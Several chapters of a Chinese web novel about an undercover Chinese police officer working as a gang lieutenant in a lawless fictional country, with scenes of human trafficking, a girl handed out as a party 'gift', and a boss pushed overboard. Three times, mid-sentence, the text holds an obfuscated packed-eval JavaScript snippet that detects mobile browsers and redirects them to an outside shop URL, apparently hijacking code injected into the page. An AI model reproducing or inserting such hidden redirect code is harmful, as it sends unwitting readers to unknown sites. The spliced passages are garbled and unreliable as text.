《卧底,但是大佬情人》 1. 拳击手 正道拳馆的休息间,阿刘已经坐了半小时。 身上的汗早已干涸,嘴里的血被咽下,半掉不掉的牙齿和肿胀的双眼昭示他不良的健康情况。 阿刘甚至没有摘下拳击手套,就这样披着毛巾,坐了半小时。 他是华国的不知名职业拳击手,打了几年一个冠军都没拿过。以为职业生涯就这样到头,没想到遇到个蛇头,说穆雅马有个拳馆需要拳击手,打一场给三百美金,赢了奖金翻十倍。 对手都是矮小单薄的穆雅马人,很好赢。 阿刘背着个褪色的布包,跟着蛇头来了穆雅马。 结果拳馆为了赚钱,一天要阿刘打五六场比赛,穆雅马人不把人当人,场场都往死里打。 阿刘尝试过反抗,得到的却是棍棒加身的毒打,被丢进笼子里反省。 在那里,他见过其他反抗者,有一天被刀砍一个手指疼死的、有被电棒电死的、有被鬣狗啃死的…… 天降大雨,那些痕迹被冲刷干净,只留下刺鼻的腥味,阿刘终于意识到,自己被骗来了一个人间地狱。 他疯了一样找渠道回国。 直到上次比赛结束,他被打得昏叨叨,靠在围栏边时,有人把一张纸条塞到他手里。 上面用中文写着:4月7日,凌晨一点,来叁区码头。 阿刘抬头看了眼休息室的钟,十二点五十了。 可身后监视的两个人却一动不动。 拳馆给拳手配了两个“监管者”,平时负责给拳手买必备物品,拳手要是逃跑,他们负责把人带回来。 要是拳手逃跑成功,“监管者”死得比拳手还惨。所以这些“监管者”都是不要命的。 阿刘不确定纸条是不是真的,但他想试试。 他站起身,用蹩脚的穆雅马方言说:“我想去海边散散步。” 监管者朝着他被打肿的眼睛又打了一拳:“回去!” 阿刘被打得砸在柜子上,顺着柜子滑落,没了动静。 两个监管者互相对视一眼,其中一个蹲下身,正要检查,下肢忽然被重重一踢,倒在地上。 阿刘迅速站起,乘另一个监管者没反应过来,摘下手套一拳打在他脸上。 没有手套缓冲的拳头比石头硬,监管者被打得连连后退,把刚要站起来的另一人又绊倒。 阿刘跑出拳馆,朝着叁区码头疯狂跑去。 身后很快传来怒吼声,让他停下,威胁他要是抓到他,要“让他吃下水泥,放进桶里,当拳馆老大家里的水泥柱”。 可阿刘耳边只听得到风声,他不要命跑。 要是纸条只是玩笑,他就一路跑,跳进海里淹死,也比活着受折磨好。 叁区码头里堆积着大批集装箱,层层叠叠、每一排每一列都是一样的,阿刘根本不知道该去哪里,只能跑。 转着转着,他跑到了一个死胡同。 面前集装箱堆得比天高,阿刘转身要往回跑,却见两个监管者已经追上来了。 码头冷冽的灯光照在他们身上,发红的眼睛在夜里闪闪发光,像两只豹子,一步步逼近猎物。 阿刘后背紧贴在集装箱上,握紧拳头,咬紧后牙,汗水大滴大滴地砸到地上。 死吧,他想,和他们战斗到死。 两只豹子失去耐心,朝着阿刘扑来。 忽地,空中响起两声枪声。 两个监管者被打中小腿,倒在地上,痛苦地嚎叫着。 阿刘抬头,集装箱尽头,一个穿着西装的男人逆着光,枪头还冒着白烟,对他说:“刘先生,过来吧。” 说的是中文。 阿刘多长时间没听过标准的中文了。 他缓慢地朝男人走去,走出集装箱阴影下的黑暗,走到了男人所在的光源中,在男人的指引下上了一辆黑色轿车。 车上有空调,座位软得不可思议,阿刘拿起一瓶矿泉水一饮而尽。 如果这是个必死的圈套,他也认了。 男人开车绕过像迷宫一样的集装箱,来到码头边。 车灯照出三个同样穿西装的人。在这些人中间,有个男人坐在椅子上,面对大海。 阿刘被要求下车,在其他人的注视下,顺着车灯,朝椅子上的男人走去。 还没靠近,阿刘膝盖一弯跪下,他知道道上规矩,用中文恳求道:“大佬,大佬,求您让我回去吧,我,我有钱,我可以把所有钱给你,只要你让我回去!” 男人起身,锃亮的皮鞋朝自己走来。 阿刘低下头,下一秒,双臂被扶住,人被拉了起来。 看清眼前人时,阿刘怔住。 非常俊秀的面孔,又瘦又白,一看就是标准的华国人;穿着一身得体西装,头发被精细地打理,全梳到后面;眉头微皱,眼神冷又带着些悲悯,气质出尘得让人移不开眼。 柳之杨拍了拍他的手臂,说:“你受苦了,一会儿你上船,躲进下仓。等船到了公海,会有华国海员来接你回家。” 阿刘先是怔住,而后嘴唇颤抖起来,好半天才说:“谢,谢谢你,谢谢你大佬,我,感谢你,我……” 阿刘痛哭起来。 柳子扬示意身边人把他扶到船上,看见他满是伤痕的、裸露在外的上半身,又脱下西服外套,披在阿刘身上。 “回国后好好做人,别再来了。” 眼前男人清瘦,阿刘却觉得他无比有安全感。 这种感觉很熟悉,在华国,似乎也有一种人,无论你身在何处、有什么危险,都会毫不犹豫地前来。 阿刘眼神一动,说:“谢谢警官。” 柳之杨帮他整理衣领的手顿住,随后说:“总之,忘记我们吧。” 阿刘自然懂什么意思,连连点头。 渔船在深夜启航,朝着一轮明月驶去。 柳之杨看着船变成一个黑点,松了口气,点起烟。 海风吹起他的头发,黑得看不见五指的岸边,只有烟这一点亮光。 “柳哥,我们去把跟着的两个线头处理了,就回去了。”其他四人对柳之杨说道。 柳之杨摆了摆手,码头很快安静下来。 等烟烧到手指,他才用皮鞋碾碎烟头,转身上车。 急促的电话声响起。 柳之杨翻开手机盖,看清号码后,眼神柔和了些,接起电话:“喂。” “亲爱的你终于接电话了!你去哪儿了,怎么不让小弟们跟着你啊!担心死我了,你又不是不知道最近局势紧张,万一陈颂那疯子找人弄你……” 柳之杨听着甘川絮絮叨叨的抱怨,捏了捏眉头。 “哎呦亲爱的,我说了那么多,你一句话都不和我说啊。” 柳之杨说:“不知道说什么。” “表达一下你的安全啊!你不说话我还以为你真被绑架了呢!” 柳之杨发动汽车,说:“哪里那么容易被绑架。” “你可别这么说,你们华国有句话怎么说来着,一语成谶!一语成谶!” “不说了,我在开车。” 甘川一听,激动道:“直接来金澜半岛,我包了艘大船!” 柳之杨说:“遇到什么好事了?” “没遇到好事不能玩儿吗?你快来吧亲爱的,言老大也在。” 柳之杨握紧手机,半天才说:“知道了。” 他挂了电话,打了个弯,开车往金澜半岛去。 甘川是做建筑生意的,手下少说也有七八个工地,富得不知道钱为何物。 但甘川还有个上级,他们叫言老大。这人也是华人,从小在穆雅马长大,从一方小霸主一路打拼起来,现在年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584352|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过半百,手下把握着建工、宝石、木材、毛皮三大生意。 这只是明面上的,暗里还有数不清的赌场、拳场、夜场。再进一步,什么赚钱,言老大就干什么。 在穆雅马东区,言老大是名副其实的老大。 柳之杨开着车,往金澜半岛疾驰而去,路灯一盏一盏映过他的脸,冷漠的脸上什么表情都没有。 东区以前是没有路灯和油柏路的。言老大发达后,给东区安了路灯、修了新路、盖了新房子。 还建起宝石市场、木材加工厂,甚至开发了旅游区。 东区穆雅马人的日子好过起来,也爱戴言老大,哪怕他做一些突破下限的事情,也有人替他说话。 言老大是柳之杨见过最割裂的人。一边恶得毫无底线,一边又济世救民。 周围的灯光更亮了,柳之杨一把方向盘,进入言老大的庄园。 停下车后,矮半截的菲律宾侍从把他带到后院。 一路上,都能看见拿枪的卫兵。 来到靠海的后院,一艘豪华游轮停靠在岸边,上面灯火通明,一片欢声笑语。 柳之杨上了船,一眼看见被美女围在中间的言老大。 他上前打了个招呼。 言老大也笑着回应,没有过多言语,只让秘书泰金给柳之杨一条手环,说是今晚有大用。 柳之杨环顾一圈,没看见甘川。倒是看见了甘川的宿敌——陈颂。 陈颂在集团里掌管木材和毛皮生意,地位与甘川相等。 柳之杨是甘川的二把手,自然也低陈颂一等。 为避免冲突,柳之杨避开眼神。 可余光瞟到什么东西。 他迈开步子,朝抱着美女喝酒的陈颂走去,将陈颂和那个美女拉开。 陈颂正在兴头上,被这么一打扰,翻起眼皮,怒问:“柳之杨,你是不是疯了?” 柳之杨没理,手伸向美女的耳朵,从耳蜗里取出一个很小的、发着红光的机器。 周围声音渐渐弱下去,所有人看向柳之杨。言老大眯着眼,问:“窃听器?耳机?” 柳之杨把东西放在手里翻看片刻,说:“录音设备。” 船上一片哗然。 在船上的,除了言老板集团的大佬,还有不少穆雅马东区的富豪、贵人。这要是被录音放出去,是个大麻烦。 陈颂一把推开美女,站起身来,厉声问:“谁派你来的!” 美女见暴露,嘴唇都在颤抖,半天说不出一句话。 陈颂往前一步,逼问道:“是甘川吧?” “陈总。”柳之杨提高声音,说。 陈颂回头,看着柳之杨说:“今晚船是他包的,女人也是他找的,我问的没问题啊。” 柳之杨不想和他多讲,示意手下把女人带下去,却被陈颂拦住:“我怎么知道甘总是不是在贼喊捉贼,把人给我,我来审。” 柳之杨正要说话,被言老大打断。 “带下去,晚点我亲自审。” 秘书泰金挥手,手下把女人架起,带离了上层会厅。 小小的插曲并没有影响兴致,言老大又恢复了和善的笑容,示意大家继续玩儿。 船上的歌声再次响起,啤酒肚的大佬们抱着不知男女的美人,仿佛刚才什么都没有发生过。 陈颂一把拽住要走的柳之杨,没好气地说:“主人没在,狗怎么自己上了船。” 柳之杨皱眉,看向他。 “把录音的东西带上来,是你们检查不到位,你这个做小弟的,是不是该为大哥担个责。”陈颂一边说,一边解开劳力士手表。 柳之杨咬紧牙关,但不打算反抗,确实是他失职。 “哎呦妈的,陈颂你他爹的是不是疯了?” 一句爹妈含量极高的问候响起。 2. 言老大 甘川出现在船尾,穿了一套骚包的戗驳领白西装,头发扎在脑后,大晚上的,鼻梁上还架着一副黄色太阳镜。 甘川是穆雅马和华国混血,但可能不止混了这两国的血。他身高一米九,骨架比一般人大一圈。一般身高高的人,脸部不知道是不是营养供给不足,长得总是奇形怪状。 可偏偏甘川生了一副好面孔,高挺的鼻梁、深邃的眼睛、细薄的唇。可惜,一张贵族脸,配了一身痞子气质。 甘川取下太阳镜,走到陈颂面前,盯了他半晌,笑说:“以前没发现陈副总那么矮,比我八十岁的奶奶还矮,小时候破事干多了所以长不高了吗?” 陈颂说:“甘川,你知道这世界上有两种四肢发达,头脑简单的生物吗?一种是大猩猩,一种是你。” 甘川脸色没有丝毫变化,继续笑说:“你知道世界上有两种自认为很聪明其实像个傻b的生物吗?一种是猴子,一种是你。” 陈颂脸颊抽搐了一下,没等说话,言老大开口了。 “人齐了,启程吧。” 游艇轰隆隆地响起来,往漆黑的海里行进。 陈颂和甘川的人一边负责左舷、一边负责右舷,中间客舱留给大佬们快活。 上层客舱灯火通明,笑声和歌声不绝于耳;下层的船舷却是黑暗一片,穿着黑衣的手下前后巡逻着。 柳之杨在下层,安排好左舷安保,拿出一支烟,身边立刻有小弟送火过去。 柳之杨点燃,朝着黑暗的大海吐出一口烟,问:“今晚是谁负责上船检查?” 负责上船检查的细狗被押到柳之杨面前,头低得只能看见发心的漩。 柳之杨扫了他一眼,土黄的头发,穿着上好的丝质花衬衫,脖颈上还带了一条金链子。 柳之杨移开眼神,手夹着烟,搭在栏杆上,一下一下地敲着。 细狗从没发现,手敲栏杆的声音居然那么像催命符。 他咽了口水,颤巍巍开口道:“柳理事,我错了,我没有好好检查上船的人。我错了,我该死,我错了,我该死……”他抬起手,一个一个地耳光扇自己。 柳之杨还是没说话,就这样任细狗打自己。 一根烟抽完,细狗的双颊被打得红肿,嘴上的话也说不清了。 柳之杨踩灭烟头,说:“明天离开公司。” 转身要走,被人拉住裤腿。 细狗跪了下来,头被打得晕乎乎,却还是死死拉住柳之杨裤腿,口齿不清地祈求道:“柳,柳总,您打我吧,打我,打我……不要开除我,求您了,不要开除我……离开公司,我没地方去,我还有两个女儿要读书,有父母要养,离开公司,他们都完了!柳总,今晚的事是我的错,你打我吧,使劲打,怎么打都行!!” 这是今晚第二个人跪在柳之杨面前了。 周围都是偷看热闹的手下,柳之杨冷漠地抽出裤腿,留下一句,“我不想说第二遍。” …… 柳之杨推开客舱的门,震耳欲聋的音乐声灌入耳中。 见柳之杨进来,一个前凸后翘、穿着比基尼的美女端起杯酒,贴了上来,在他耳边说:“哥哥,喝一杯吧?” 柳之杨接过酒,不着痕迹地推开美女,坐到沙发边缘。 美女也识趣,只贴着柳之杨坐,并没有进一步动作。 火热的歌曲渐入高潮,欢呼声一波高过一波。 言老大左拥右抱,拿过话筒大声问:“甘川,你不来一曲?” 所有人看向喝得正嗨的甘川,兴奋地喊着“甘总”“甘总”。 甘川笑着放下酒杯,走到舞池中央,随着歌曲摆出姿势。灯光下,他又帅又耀眼,引得姑娘们连声起哄。 人们被甘川的舞蹈感染,也进入舞池,跳跃着、笑着、兴奋叫喊着…… 灯光闪得看不清人脸,音乐声震得脏器都在颤动。在太平洋西南的一角,这个游艇似乎是另一个世界。 而柳之杨就是抽离在这个世界之外的人。 他喝着酒,靠在沙发上,静静看着舞池中央的甘川。 除他以外,还有一个人也没去跳舞——陈颂,正阴沉沉地望着柳之杨。 陈颂一贯疯子作风,柳之杨见怪不怪,只顾喝自己的。 疯躁的舞蹈持续了两个多小时,不少集团大佬抱着美女离开,言老大被美女扶着,坐回沙发。 陈颂立刻给言老大倒了杯酒,二人有一句没一句地攀谈起来。 等激烈的歌曲终于变得悠扬,甘川才气喘吁吁地一屁股坐到柳之杨身边。 一直贴着甘川跳舞的美女们也坐了过来。 “甘哥,威士忌还是红酒?”一个美女问。 甘川瞥了一眼柳之杨的杯子,见是红酒,也说:“红酒吧。” 言老大问:“你之前不是不喝红酒吗?” “哎呦老大,我以前都是喝啤酒的,主要是家里没有好的红酒。在你这里,红酒肯定是最好的,我这不得尝尝。” 甘川说着,喝了一口,“真难喝啊。” 言老大被他逗笑,眼神移到快被甘青挡住的柳之杨身上,说:“之杨,来集团五年了吧……” 柳之杨放下酒杯,说:“六年,老大。” 言老大点着头,说:“性子冷啊,明明是甘川的二把手,我倒是没怎么和你说过话,刚刚也没去跳舞。 柳之杨强扯了个笑容:“是,我不会跳舞。” 甘川搂住柳之杨的肩,对言老大说:“老大,性子冷不好啊?要是个个和我一样说个不停,还不把你烦死。” 言老大大笑,没有再纠结,偏过头吃美女喂给他的水果。 甘川转头看向柳之杨,对他挑了挑眉,手从肩移到后颈,有一下没一下地捏柳之杨后颈。 捏着捏着来了劲儿,凑过去想亲,被柳之杨抵住。 柳之杨无声地对他说:“放开。” 甘川“啧”了一声,默默抽回手,心里憋了火,想找人骂一顿,结果旁边都是女人,骂不出口。 眼睛一抬,看见对面的陈颂。 陈颂歪着嘴,一动不动打量着柳之杨。 甘川拿了个葡萄砸到他脸上:“眼睛到处乱看,担心长针眼眼睛瞎了。” 陈颂眼神压下,说:“你tm闲着没事找事吗?” 甘川说:“我是善意提醒你,不该看的别看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584353|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那你滚出去。” “陈颂,甘川,”在更激烈的冲突爆发前,言老大开口,“好了,我给你们带了个礼物。” 说完,拍了下身边美女的pg,使了个眼色。 美女起身,带了个青涩的姑娘进来。 那姑娘只穿了一条白裙,头发披着,低着头,手搅在一起,紧张极了。她长得挺清新的,和客舱里其他浓妆艳抹的人不一样。 在场所有男人的目光黏在她身上下不来了。 但每个人的目光又有些不同。 言老大很满意地说:“雏子,这在穆雅马可难得。” 陈颂靠到沙发上,翘起二郎腿,问:“老大,这怎么分?” 言老大笑笑,“上船的时候,泰金都给你们发了手环吧?这有个箱子,抽签,抽到谁的手环号就给谁。” 陈颂阴恻恻地笑起来:“还是老大厉害。” 言老大对女孩说:“你来抽吧。” 美女重重推那女孩,女孩没站稳,直接跪倒在地,爬到箱子面前,颤抖着抓了个号牌出来。 言老大接过,按了一下上面的按钮。 柳之杨的手环“滴滴滴”地响起来。 所有人看向柳之杨。 陈颂冷哼一声,“他不喜欢女人,真是白瞎了。” 言老大问:“之杨,要不要把机会给别人?” 言老大没有手环,指向很明确了,让柳之杨把女孩给陈颂。 甘川悄悄掐了下柳之杨的腰,示意他借坡下驴,也化解了上船时的不快。 但柳之杨很清楚,要是给陈颂,这个姑娘只有一个下场——被折磨致死。他取下手环,对言老大说:“我要了。” 既然要,就得有点表示。 柳之杨喝了口酒,对女孩招招手。 女孩颤巍巍地走到他身边。 美女上前,直接把女孩按得跪在地上,说:“好好服侍。” 言老大咳了一声,美女意会,回到言老大身边,给他倒酒。 女孩跪在柳之杨腿边,抖得像个筛糠,黑发遮住她苍白的脸,恳求道:“救,救救我……” 用的是华国语言。 柳之杨心一凉,握紧酒杯,发现他们的目光汇聚过来,要看自己怎么处理。 女孩不懂这些,她只莫名觉得眼前男人可以信赖,无助地攀上柳之杨的膝盖,继续小声恳求道:“救救我,救救我。” 言老大和陈颂对视一眼,好笑地看着这一幕。 柳之杨把酒杯放在大理石桌上,“啪”地一声,反手扇了女孩一巴掌,力道之重,把人扇得扑倒在地。 接着,他起身,压住女孩,一只手握住她的手腕,双腿紧紧夹住她的腰,背对言老大他们,对女孩比了个“叫”的口型。 女孩一边挣扎,一边大叫起来。 柳之杨弯下身去亲她的侧颈,女孩挣扎得更激烈,叫得更大声。 陈颂听见,脸上居然露出笑容。 “别说华国语,”柳之杨在她耳边低声说,“抬手打我。” 女孩很配合,在柳之杨松手的一瞬间,抬起右手用力扇到柳之杨脸上。 3. 博弈 柳之杨直起身子,用舌头顶了顶被打痛的脸,拽着女孩的头发把她拉起来,对言老大冷声说:“老大,我带她回房间了。” 言老大笑着“嗯”了一声。 见两人离开,陈颂看向一直不出声的甘川,说:“甘副总,你不管管?” 甘川咧开嘴笑起来,“你很羡慕柳之杨啊,怎么,没试过雏?” 陈颂端起酒杯,说:“你怎么知道我羡慕的不是那个雏?说起来男的我确实没试过,像柳之杨那种的男仔,穆雅马怕再难有第二个吧。甘副总有没有兴趣分给我尝尝?” 甘川的笑容慢慢收起,他坐直身,双手杵在膝盖上,盯着陈颂。 甘川的上眼皮有些遮盖,不笑的时候,有种狼一般的阴狠。 言老大见状,岔开话题说:“既然你们说到分,那谈谈正事吧。我手下有几处好地方,老了,管不住了,想分给你们。” 他遣散了两边美女,拿出一份协议。 柳之杨一路上抓着女孩的头发,把人带到自己床舱才放开。 女孩蜷缩着坐在床边。 柳之杨把窗帘拉上,给她倒了杯水,坐到一旁椅子上,温声问:“你为什么会来这里?” 女孩眼睛盯着地板,还没缓过神来。 柳之杨换成华国语言,轻声又问了一遍:“你为什么会来这里。” 似乎是家乡的语言唤醒了女孩,她缓缓抬头,小声说:“被,被骗来的。” “姑娘,别担心,现在,把你怎么来穆雅马,到怎么出现在这里,全部和我说一遍。” 柳之杨语气平缓,女孩在他的鼓励下,开口道:“我是和其他三个朋友来这里旅游的,刚来的几天都很好,很安全,没有像网上说得那么恐怖。直到……” 女孩握紧水杯,接着说:“我们住进象林边上的万豪酒店。其他两个男生被服务员骗了,去了赌场。第一天就赚了三万,把我们旅游的钱全赚回来了。第二天我们一起去赌,有输有赢,第三天忍不住又去了,结果把三万块全输了。” 女孩抽泣起来,“要是,要是在这里停住就好了……” 柳之杨说:“叠码仔找到你们了是不是?” 女孩点头,“她也是个女生,看着人很好。她和我们说,她也是华国人,前几天也大输了一场,结果借了赌场的筹码,一把全赢回来不说,还赚了十万。 其实那时我已经觉得不对但她说,我们可以用她的名义借筹码,赢了之后只用还赌场百分之九十。我们当时疯了一样,怎么说都要赢回来,跟着去借钱了,结果……” 女孩哭得泣不成声。 柳之杨抽了几张纸放到她手里,问:“其他三个人现在怎么样了?” 女孩说:“一个、一个男生家里有钱,正在往国内筹钱。另一个男生我不知道,但他家里估计拿不出多少。还有个女生,她,她,我们当时都被赌场经理扣下来了,我被迷晕,醒来就在船上,但她我不知道现在怎么样。” 柳之杨问:“你叫什么名字?” 女孩才要答,柳之杨手机震了震。 打开手机,是一条要不要买房的消息,柳之杨让女孩先休息,出去了。 甲板上的风很大,柳之杨下意识想找外套,才想起外套已经给拳手阿刘了。 他看着一轮明月,心里忖度阿刘到哪里了?有没有出穆雅马国海域?有没有遇到公海的救援船了? 下方客舱传来激烈的争吵声,但因为隔音,只能听到在吵,听不清在吵什么。 柳之杨环视一圈,确认没人在盯着自己,才拿出手机,又从怀中掏出另一张电话卡,迅速换进手机里。 一条IP在华国的短信写着:万豪酒店,四个,两男两女:王欣、沈佳瑞、高峰、崔梓涵。走高黎贡森林通道。 真是说曹操曹操到。 柳之杨把他们的名字背下,立刻抽出卡,重新放回怀中暗袋,装上原来的电话卡。 叁区码头走不了,一次运四个人出去百分百会被发现,只能走高黎贡森林的暗道。 但高黎贡森林全是执政官的军队把手,没那么好过。 柳之杨眉头紧皱,得先找到其他三个人再说。 “亲爱的,怎么一个人站在这里?”不知何时,甘川上到甲板。 “哦,”柳之杨回头,“吹吹风。” 甘川靠近,阴阳怪气地说:“怎么了亲爱的,脸色不太好啊,小妹妹你不喜欢?” 柳之杨知道他在吃醋,低头轻笑了一声。 “哎呦我和你说正事你在这儿笑。”甘川一副不满的样子,眼尾却因为柳之杨的笑容早已弯起。 柳之杨一笑即逝,再次变回了那副冷漠的模样,问:“我听到你们吵架了,谈得怎么样?” 甘川杵到栏杆上,看着茫茫大海,说:“你知道,老大手下有处蓝宝石矿场吧?” 柳之杨说:“象林那儿的红品矿山,但我听说这几年一直在亏损。” 甘川“嗯”了声,说:“老大准备把矿场给我。” 柳之杨一愣。红品矿山是块烫手山芋,能不能再发掘出好东西谁也不知道,可要是关停,上千靠着矿山吃饭的人们就无处可去,肯定要闹起来。 更何况,红品矿山属于言老大,这几年一直都是泰金经营。这回换主,经营权给谁都不好。 言老大这时候把快倒闭的矿场丢给甘川,是故意的为难。 柳之杨又问:“那陈副总呢?” “他比我好点儿,分到了象林东边的酒店,万豪那些。” 万豪。柳之杨心沉了下来,这下更难救人了。 甘川抽完一根烟,随手弹到海里,打量了柳之杨,问:“亲爱的,怎么没穿外套?” 柳之杨面不改色心不跳:“在车里。” 甘川勾起他衣领边的衬衫夹带,弹了一下,说:“我还以为你故意勾引我呢。” 柳之杨捂住被弹痛的胸口。 甘川对他挑了挑眉。 柳之杨:“你能不能想点儿别的。” 下一秒,甘川揽过柳之杨的细腰,手顺着往下,“我就想怎么了?” 柳之杨拍开他的手。 甘川不依不饶,咬着柳之杨的耳朵说:“我们还没在船上试过啊亲爱的,我听说在船上由于水波推动,会更深。” 柳之杨推开他,往下舱走去。 甘川见得逞,笑意更甚:“试试嘛亲爱的!你等……” 忽然,甘川的笑容僵住,耳朵动了动。 柳之杨也听到了什么,转头看向他。 甘川一改嬉皮笑脸的样子,眼神在月光下格外锐利,压低声音说:“有人落水了。” 他耳朵又动了动,拉着柳之杨往船舷左侧跑去。 就在他们下到左舷时,一个黑影刚好在走廊尽头闪过。 甘川没有丝毫犹豫,追了上去。 柳之杨则焦急往海里寻找着,忽地,他看见了船边一朵小小水花,仔细一看,是言老大。 他汗毛瞬间竖起。 言老大,被人推下去了。 来不及想太多,只要不是甘川这边干的,那就可以喊人。 柳之杨定了定心神,大声喊道:“快来人!言老大落水了!” 这一嗓子比任何闹铃都好使,两舷站岗的小弟们涌过来。先是慌乱,后在柳之杨的指挥下,七手八脚地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16584354|187309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绑好绳子,跳进海里,往言老大方向游去。 集团其他宾客也出了房间,聚集过来,七嘴八舌地议论着。 最后赶来的是陈颂。他满脸震惊,在小弟的带领下来到船边,看见船尾的水花后,双手颤抖地抓住小弟衣领,怒目圆睁,“快掉头!!” 小弟颤巍巍地说:“船已经,已经在转弯了。” 一艘船要停下往回开,需要很久的时间。陈颂看着水花快要消失,一咬牙,抓了根绳子,从船尾直接跳进海里。 所有宾客和小弟们都惊呼起来。 柳之杨的肩被摁了一下,下一秒,甘川清淡的香水味靠近,在他耳边小声说:“人在我房间,控制好,问点东西出来。” 柳之杨点头,离开船舷,往下层房间走去。 而甘川也纵身一跃,跳到海里。 言老大是救不活了的,但样子总得做做。 …… 甘川房间里。 一个穆雅马男子被捆坐在椅子上,他脸被打肿,眼睛还在流血,嘴里塞了棉布。 柳之杨进房间后,按下手机录音键,上前给了男子一拳,把人打翻在地,才蹲下领着他的领子说:“我拿下布条,你敢喊,我打死你,听见没。” 看着柳之杨如冰块一般的眼神,男子有点儿恐惧,点了头。 柳之杨把布条抽出,男人咳了几声,没有喊叫。 柳之杨居高临下地看着他,问:“陈颂派你来的?” 男人操着一口有口音的穆雅马话,吊儿郎当地说:“你说是就是。” 柳之杨眯起眼。 这句话给他一种直觉,男人不是陈颂的人。 可这艘船上,除了陈颂、甘川,还会有谁想杀言老大? 柳之杨再次打量眼前男人。 男人眼里没有杀手的狠厉,不是职业杀手。但身材壮硕,下手果断,如果真是陈颂阵营的,自己和甘川不可能没有察觉。 柳之杨心念一动,把凳子踢到另一边,蹲下身看男人手指。 食指和中指都有常年握枪的痕迹。 柳之杨站起身,说:“你是警察。” 穆雅马国再乱,也是个主权国家,自然也有穆雅马警察。只不过穆雅马警察只为资本家和各区执政官办事,对普通百姓只会拳打脚踢。 男人没说话,慌乱的眼神已经暴露他。 说是男人,但其实这警察看上去比柳之杨小不少,颇有初生牛犊不怕虎的姿态。 柳之杨冷声追问:“你是哪个区的,怎么混上船的?为什么要杀言老大?开船前那个女的和你一伙吗?” 男人想了想,说:“我要见一个人,见到他,我才说。” “谁?” “柳之杨。” 一阵沉默,柳之杨眉头紧皱。 男人说:“就是甘川的二把手,你不会不认识吧?” 半晌后,柳之杨把凳子扶起,见男人手指充血发紫,解了他手上的绳索,说:“我就是柳之杨。” 男人拉了拉衣领,嗤笑:“你当我小孩吗?” 柳之杨换成标准的华国语,说:“我就是柳之杨。” 男人一愣,“你,你真是柳之杨?” 柳之杨冷道:“你说不说。” 男人往四周看了一眼,居然还有些兴奋,又拉了拉衣领,“真是得来全不费工夫,柳先生,我是代表穆警长,来和您合作的。” 柳之杨说:“这种话我听过很多次也拒绝过很多次。公司和我都是合法的,不需要和你们合作。” “以前是以前,现在是现在嘛,”男人压下声音,对柳之杨挑了下眉,“柳先生,你也是警察吧?” 4. 战斗前夜 柳之杨的手猛地握成拳,冷笑道:“你是疯了吗?” 男人说:“不要装了柳先生,不然我也活不到现在,我就是来找你的。” 柳之杨蹙眉,没有回答。 “我代表穆警长,真诚地来和您谈合作的,真是无巧不成书啊,刚好就碰到您了。” 柳之杨目光落到桌上还在录音的手机,想了片刻,又抬起眼:“什么合作?” 男人再次左右拉起了衣领,神秘地说:“你配合我们穆雅马警方,从内部瓦解言老板的集团势力。事成之后,你来当集团总裁。” 柳之杨总算把今晚的事情理顺了,他靠回沙发上,说:“所以你们第一步,是杀了言老大?” 男人说:“原本是想用和平手段的,这不,我同事录音被你发现了吗?” “如果我拒绝,你们就会把我的身份告诉甘川,对吗?” “是,”男人烦躁地把衣领往外扯,“柳先生,这个事情你做也得做不做也得做,集团里混了个警察,就算你确实不是查他们的,但,一般人也难接受……” 柳之杨说:“我会请示的。” 男人想起身,但脚被牢牢绑在凳子上,一个踉跄,跌倒在地。 紧接着,开始抽搐起来。 柳之杨见不对,上前察看。 男人的脸铁青起来,手不住地扯着衣领,似乎有什么东西堵在嗓子里了。 柳之杨将男人拉起,用力拍打他的后背,可男人的呼吸仍旧在减弱,连带着柳之杨一起摔到地毯上。 他又摸了下男人的脖子,已经肿得两倍大,不是吃东西堵住,而是息肉发炎,堵住了气管。 男人抽搐着,脸变得越来越紫。 柳之杨把他侧过身,尽量打开他的口鼻,用力做心肺按压。 可手下之人的呼吸越来越弱,好像生命真在流逝一般。 不知过了多久,清晨一缕阳光破开黑暗,落到柳之杨脸上,新的一天开始了。 柳之杨喘着气站起身,把掉下来的几缕头发捋到脑后。 眼前男人已经没了呼吸,因为被噎住脸都紫了,眼睛像青蛙一样暴涨在外面。 柳之杨撑住桌子勉强站稳。 来不及多想,他拿起桌上手机,把刚才的录音删了。 同时,外面传来争吵声: “言老大怎么样了?” “急救有没有联系了?!” “船还要多久到岸!” 柳之杨把小警察拖到床后,用被单盖上,跑上甲板。 甲板上还带着露气,所有人乱作一团,言老大躺在甲板上,双眼紧闭。 甘川半跪在言老大身边,全身湿透,花衬衫解开了两个扣子,露出下面若隐若现的胸肌。 见柳之杨来了,甘川问身边小弟要了件西服外套,披在言老大身上,起身,拦住要过去查看的柳之杨。 